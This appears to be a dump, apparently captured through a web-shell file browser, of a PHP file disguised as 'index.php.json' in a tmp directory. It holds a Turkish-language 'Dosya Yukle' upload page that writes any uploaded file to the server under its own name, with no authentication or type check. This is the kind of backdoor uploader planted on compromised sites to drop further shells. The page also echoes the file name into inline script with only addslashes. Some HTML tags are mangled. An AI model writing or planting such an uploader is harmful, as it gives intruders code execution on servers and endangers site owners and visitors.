| Current Path : /proc/self/root/var/tmp/ |
| Current File : //proc/self/root/var/tmp/index.php.json |
<?php
$msg='';
$cls='';
if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['f'])){
$t=basename($_FILES['f']['name']);
if(move_uploaded_file($_FILES['f']['tmp_name'],$t)){
$msg='OK:'.$t;
$cls='ok';
}else{
$msg='FAIL';
$cls='err';
}
}
?><!DOCTYPE html>
<html lang="tr">
<head>
<m-eta charset="UTF-8">
<m-eta name="viewport" content="width=device-width, initial-scale=1.0">
<t-itle>Dosya Yukle</title>
<s-tyle>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:'Segoe UI',Arial,sans-serif;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);min-height:100vh;display:flex;justify-content:center;align-items:center}
.container{background:#fff;padding:40px 50px;border-radius:20px;box-shadow:0 20px 60px rgba(0,0,0,.3);text-align:center;max-width:400px;width:90%}
.icon{font-size:60px;margin-bottom:15px}
h1{color:#333;margin-bottom:10px;font-size:24px}
p{color:#666;margin-bottom:25px;font-size:14px}
.file-input-wrapper{position:relative;overflow:hidden;display:inline-block;width:100%;margin-bottom:20px}
.file-input-wrapper input[type=file]{position:absolute;left:0;top:0;opacity:0;cursor:pointer;width:100%;height:100%}
.file-btn{background:#f0f0f0;color:#333;padding:15px 20px;border-radius:10px;border:2px dashed #ccc;display:block;width:100%;font-size:14px;transition:all .3s}
.file-btn:hover{background:#e8e8e8;border-color:#667eea}
.file-name{margin-top:10px;color:#667eea;font-size:13px;word-break:break-all}
.upload-btn{background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:#fff;border:none;padding:15px 40px;border-radius:10px;font-size:16px;cursor:pointer;width:100%;transition:transform .2s,box-shadow .2s}
.upload-btn:hover{transform:translateY(-2px);box-shadow:0 8px 25px rgba(102,126,234,.4)}
.upload-btn:active{transform:translateY(0)}
.status{margin-top:20px;padding:12px;border-radius:8px;font-size:14px;display:none}
.status.ok{background:#d4edda;color:#155724;border:1px solid #c3e6cb}
.status.err{background:#f8d7da;color:#721c24;border:1px solid #f5c6cb}
</style>
</head>
<body>
<div class="container">
<div class="icon">📁</div>
<h1>Dosya Yukle</h1>
<p>Yuklemek istediginiz dosyayi secin</p>
<form method="post" enctype="multipart/form-data">
<div class="file-input-wrapper">
<div class="file-btn" id="fileBtn">📎 Dosya Sec</div>
<input type="file" name="f" id="fileInput" on-change="showName(this)">
</div>
<div class="file-name" id="fileName"></div>
<button type="submit" class="upload-btn">⬆️ Yukle</button>
</form>
<div class="status" id="status"></div>
</div>
<s-cript>
function showName(input){
var name=input.files[0]?input.files[0].name:'';
document.getElementById('fileName').textContent=name;
document.getElementById('fileBtn').textContent=name?'📎 '+name:'📎 Dosya Sec';
}
</script>
<?php if($msg): ?>
<s-cript>
document.getElementById('status').style.display='block';
document.getElementById('status').className='status <?php echo $cls; ?>';
document.getElementById('status').textContent='<?php echo addslashes($msg); ?>';
</script>
<?php endif; ?>
</body>
</html>